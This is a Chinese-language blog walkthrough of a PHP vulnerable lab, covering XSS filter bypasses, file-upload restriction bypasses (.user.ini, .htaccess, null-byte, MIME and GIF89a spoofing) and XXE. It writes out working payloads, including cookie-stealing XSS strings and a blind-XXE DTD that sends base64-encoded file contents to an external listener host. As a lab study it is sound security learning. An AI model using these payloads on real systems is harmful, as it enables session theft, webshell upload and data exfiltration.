某开源PHP靶场学习记录终篇

从某开源PHP靶场综合学习常见漏洞。

前言

沉下心去努力,总有意外的收获。

XSS

反射型XSS

没有任何过滤直接回显。
?xss=<s cript>a lert(1)</s cript>

输出在s cript中


这种直接输出在s cript标签中可以说是任意js执行了。
输出在a lert()中,传入括号进行闭合再进行注释即可。
?xss=123');a lert('xss')//

输出在s cript中_2


过滤了尖括号和斜杠,不能用注释,可以用闭合,而且本身就输出在s cript标签中,限制不大。
?xss=');a lert(document.cookie);console.log('

输出在html属性中


输出在img标签的src属性中,那么可以用o nerror事件触发,也可以利用闭合构造一对s cript标签。
?xss=xss" o nerror="a lert('1');

?xss=xss"><s cript>a lert('xss');</s cript>

条件还是比较宽松,自由发挥。

输出在注释中


源码中也提示了换行符。//是单行注释,所以换行就不生效了。
?xss=123%0aa lert('xss');

J avas cript被过滤


输出到了a标签的href属性。

首先一眼看去就是可以大小写绕过
?xss=J avas cript:a lert(document.cookie);

还可以利用实体编码绕过
?xss=j%26%2397;vas cript:a lert(%26%2339;xss%26%2339;);

需要点击才能触发,不是0click不完美。

等号问题

也是输出在img的src中。

用上面的payload打不行
?xss=xss" o nerror="a lert('1');

看一下源码

有一个正则匹配,等号两边随意加个空格就饶过去了。
?xss=xss" o nerror ="a lert('1');

o nerror输出故障


这个正则针对性的过滤了,但又没完全过滤。
上面的payload也能打,也不知道是不是非预期了。

DOM型XSS1


这个是通过js的dom操作改变了标签内容。实质上还是输出在了s cript中,同样利用闭合和注释就能执行任意js代码了。
?xss=";a lert(document.cookie);//

DOM型XSS2

查看js代码

<div class="card">
    PHP代码如下:
  <s cript>
    var hash = unescape(location.hash);
    document.getElementById('code').innerHTML="PHP代码如下:"+hash;
    document.getElementById('code').title=hash
  </s cript>
</div>

可控的就是location.hash

取值就是url中#和后面的串。

unescape可以解码escape编码的结果。

好像就是url编码,影响不大。

因为可以将我们的输出插入到code标签中,考虑插入一个img标签然后用o nerror触发js。
xss_nine#<img src=xss o nerror="a lert(1)">

DOM型XSS3

查看源代码

<div class="card">
  
    <?
echo 'xxxxxx' ?>
  
  <s cript>
    var url = unescape(location.href);
    var allargs = url.split("?")[1];
    if (allargs != null && allargs.indexOf('&') > 0) {
      var arg = allargs.split('&');
      for (var i = 0; i < arg.length; i++) {
        var argx = arg[i].split('=')[1];
        e val('var a="' + argx + '";');
      }
    }
  </s cript>
</div>

不难看出,会将url每个参数中的值拼接到var a="$param_value";执行。
尝试闭合进行代码注入
?asd="a lert(document.cookie);&
发现"unescape转义掉了。

将其进行url编码。
?asd=%22;a lert(document.cookie);//&

DOM型XSS4

查看源代码

<div class="card">
  <i f rame src='http://www.f4ckweb.top/' id='if'></i f rame>
  <s cript>
    function test(test) {
      if (test.indexOf('J avas cript:')) {
        return ''
      } else {
        return unescape(test)
      }
    }
    var ifx = document.getElementById('if');
    if (location.href.indexOf('?') > 0) {
      ifx.src = test(location.href.split('?')[1].split('=')[1])
    }
  </s cript>
</div>

同样的通过第一个get的参数控制i f rame标签的src属性。
注意到test过滤函数。
检测了J avas cript:伪协议,但是这个写法存在问题。
传入?xss=J avas cript:a lert(document.cookie)依然执行。

因为indexOf返回的是第一个字符下标,而我们的payload中J avas cript:位于开头,返回0,从而绕过了该分支。

文件上传

任意文件上传漏洞

文件上传的本意是给用户提供一个上传文件到服务器的服务,但是如果不对上传的文件进行检查,就会被攻击者利用,往服务器中上传恶意脚本文件,从而获得服务器控制权。
文件上传是常见的功能,网站各处的功能都有可能出现上传点。最常见的就是头像上传、LOGO上传。

首先来学习一下,PHP网站文件上传的流程。
我们通过表单提交进行文件上传时并不是直接传到站点目录的。
PHP会从表单中拿到文件,并存到一个临时的位置。
然后会通过move_uploaded_file(string $filename, string $destination)方法将临时文件移动到开发者指定的位置。

所以在审计PHP源码时,可以通过全局搜索move_uploaded_file来定位上传点,再进行回溯分析是否过滤严格。

实战

来到题目,这一题是没有任何过滤的上传,主要是熟悉文件上传的流程。

选择一张图片进行上传,然后抓包。这一操作可以绕过前端js的检查。

这就是表单数据,我们对文件名和内容进行修改。

然后发包。

可以看到文件首先会被上传到一个临时的地方。

然后题目并没有上传成功,这是因为页面表单的文件参数名字是upload_file,而后端代码取的是参数为file的文件。

也不知道是不是靶场开发者故意的。
那么我们重新修改一下表单再次发包,同时需要在站点根目录新建一个uploads文件夹,否则也会上传失败。


可以看到上传成功,拿到了文件路径。

成功解析。

基于黑名单的文件上传

黑名单过滤是禁止上传规定后缀的文件。
绕过思路有几种:

  • 寻找没有被禁用的后缀:pht, phpt, phtml, php3, php4, php5, php::$DATA等。
  • 大小写绕过:Php, PhP
  • 解析问题:中间件解析漏洞, 上传.htaccess等。
  • 文件包含:上传.user.ini, 配合文件包含

实战

来到题目

大小写绕过
很明显的,我们可以通过大小写绕过。


其它后缀绕过
也可以上传没有被禁用的后缀。

(nginx).user.ini文件包含
还可以配合文件解析,先上传123.txt。

因为使用的是nginx所以上传.user.ini
auto_prepend_file=123.txt

这样只要我们访问.user.ini同目录下的php文件都会包含123.txt的代码。
新建一个空的php文件。

然后访问

可以看到被成功解析了。
(apache).htaccess
apache环境下可以利用.htaccess配置文件

文件包含
php_value auto_prepend_file 文件绝对路径(默认为当前上传的目录)

文件解析
AddType application/x-httpd-php .xxx

<FilesMatch "shell.txt">
    SetHandler application/x-httpd-php
</FilesMatch>

第一个是文件包含,和.user.ini大同小异就不演示了。
演示一下文件解析。首先上传.htaccess,这个xxx是自己定的后缀。

上传成功后,只要是xxx后缀的文件被访问,都会被php解析。
接着再上传一个1.xxx

然后访问1.xxx即可。
由于笔者使用phpstudy带的php是NTS(Non Thread Safe)版,不支持这种方式,所以就不能继续演示了。

而另一个就是TS版本,搭配apache都推荐使用TS版本。

基于白名单的文件上传

白名单只允许指定后缀的文件上传,相对黑名单来说安全性高很多很多。
常见的绕过就是经典的00截断和服务器中间件的解析漏洞。

  • 00截断需要PHP版本<5.3.4
  • 解析漏洞比较新的就是IIS7.5解析漏洞

两种绕过的利用条件都很苛刻,实际场景出现比较少。

实战

回到题目

抓包上传时构造1.php\x00.jpg文件名,在move_uploaded_file时就会将后面的.jpg截断。

因为环境问题就不能演示上传后的效果了。

基于type检测的文件上传

所谓type检测就是检查文件的MIME类型,就是请求包中的Content-Type字段

该字段是可以修改的,常见的就是这几个:

  • image/gif :gif图片格式
  • image/jpeg :jpg图片格式
  • image/png :png图片格式

一般服务器都是允许上传图片的,所以常常都是用这几个绕过。

实战

回到题目


可以看到后端检查了文件的MIME类型。
我们直接抓包修改

发包

上传成功。(请无视我写错的代码~

基于内容检测的文件上传

内容检测一般都是读取上传文件的头几个文件标记字节进行检测。
所以我们只需要在php代码前面加上这几个符合要求的标记字节就可以了。
常用的就是GIF头文件标记:GIF89a

实战



我们抓包,然后在代码前加上GIF89a

发包后调试,可以看到走入了gif的分支。

稳稳的上传成功。

XXE

XXE(XML External Entity Injection)即:XML外部实体注入

直接搬运某文库的资料:
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害
**注意:**执行系统命令(安装expect扩展的PHP环境里才有)

XML基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。

<?XML version="1.0" ?><!--XML声明-->

<!ELEMENT name (#PCDATA)>
<!ELEMENT sex  (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]><!--DTD文档类型定义-->
<user>
    <name>SNCKER</name>
  <sex>woman</sex>
  <age>3</age>
</user><!--文档元素-->

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
PCDATA 指的是被解析的字符数据(Parsed Character Data)
XML解析器通常会解析XML文档中所有的文本

<message>此文本会被解析</message>

当某个XML元素被解析时,其标签之间的文本也会被解析:

<name><first>Bill</first><last>Gates</last></name>
<!--内部声明DTD-->

<!--引用外部DTD-->

<!--或者-->


<!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。-->
<!--内部声明实体-->
<!ENTITY 实体名称 "实体的值">
<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">
<!--或者-->
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

恶意引入外部实体的三种方法

本地引入

XML内容:

<?XML version="1.0" ?> <!--XML声明-->

]><!--DTD文档类型定义-->
<root>&file;</root><!--文档元素-->

一个实体由三部分构成:一个与号 &,一个实体名称,,以及一个分号;

远程引入1

XML内容:

<?XML version="1.0" ?>

%d;
]>
<root>&file;</root>

DTD文件(evil.dtd)内容:

<!ENTITY file SYSTEM "file:///etc/passwd">

远程引入2

<?XML version="1.0" ?>

<root>&file;</root>

DTD文件(evil.dtd)内容:

<!ENTITY file SYSTEM "file:///etc/passwd">

回显型XXE

首先一点是xxe只跟libXML版本有关系,2.9.0以后默认禁止了引入外部实体,所以需要切换一个低版本的libXML。

回到题目

根据题目知道程序会解析name标签的内容并且回显出来。

先抓POST包,然后把Content-Type改为text/XML

写一段正常的XML测试。

<root><name>123</name></root>


正常回显。

本地引入
我们利用外部实体引入来读取文件。

<?XML version="1.0"?>

]>
<root>
<name>&file;</name>
</root>


读取成功。
如果单纯的读取明文,当文件出现<>这种特殊字符就影响解析。
那么可以利用php伪协议强大的过滤器对读取结果进行b ase64编码。

<?XML version="1.0"?>

]>
<root>
<name>&file;</name>
</root>


附带一张不同环境下分别支持的协议总结列表

远程引入
首先新建一个DTD

<!ENTITY file SYSTEM "file:///D:/flag.txt">

一般是放在服务器上给目标主机访问,因为是自己的靶场所以我这里放在站点根目录。
然后构造数据包:

<?XML version="1.0" ?>

%d;
]>
<root>
<name>&file;</name>
</root>


发包

读取成功。
另外的一种远程引入``方法一直复现不出来。
经过搜寻资料,XML引入外部DTD会用SYSTEM/PUBLIC两个关键词,其中SYSTEM用于引用本地的,而PUBLIC则用于引用网络上的。
那按道理应该使用PUBLIC引入远程的DTD。

但是依旧复现不出来。可能是环境的问题,也可能是网上资料的问题。

也不需要纠结,毕竟另外一种方法是可行的。

盲型XXE

盲型XXE(Blind XXE),也就是页面上不展示XML数据的解析结果。

从源码可以看到并没有将解析后的结果渲染出来。
因为XML解析是可以请求外部的DTD,所以可以通过请求把数据外带出来。
首先远程引入的payload不变:

<?XML version="1.0" ?>

%d;
]>
<root>
<name>&file;</name>
</root>

然后修改我们的DTD:

<!ENTITY % file SYSTEM "php://filter/convert.b ase64-encode/resource=D:/flag.txt">
<!ENTITY % remote "<!ENTITY &#37; send SYSTEM 'http://cp4brx.ceye.io/?data=%file;'>">
%remote;
%send;

%是对参数实体的声明,声明后就可以在后续引用参数实体。

说说个人理解,首先将文件读取的内容赋给file,然后remote是一个定义参数实体的字符串,其中%需要用实体编码%#37;替代避免影响语义,后面使用%file;引用file的内容拼接出完整的请求url,接着引用%remote;,这样就是定义了send,然后再引用%send;,就会向监听服务器发起请求。

发包后就可以从请求中看到外带的数据了。

后记

本篇已经是终篇了,整个靶场的学习到此也就完结了。虽然是基础的靶场,但是收获还是挺多的。当我静下心去研究时,才发现原来有很多细节其实我从来都没弄懂过。所以如果能去掉浮躁的心,不再蜻蜓点水一般,而是认真深入的学习,也许会有很意外的收获。

  • 发表于 2021-08-19 10:46:34
  • 阅读 ( 6680 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
SNCKER
SNCKER

6 篇文章

站长统计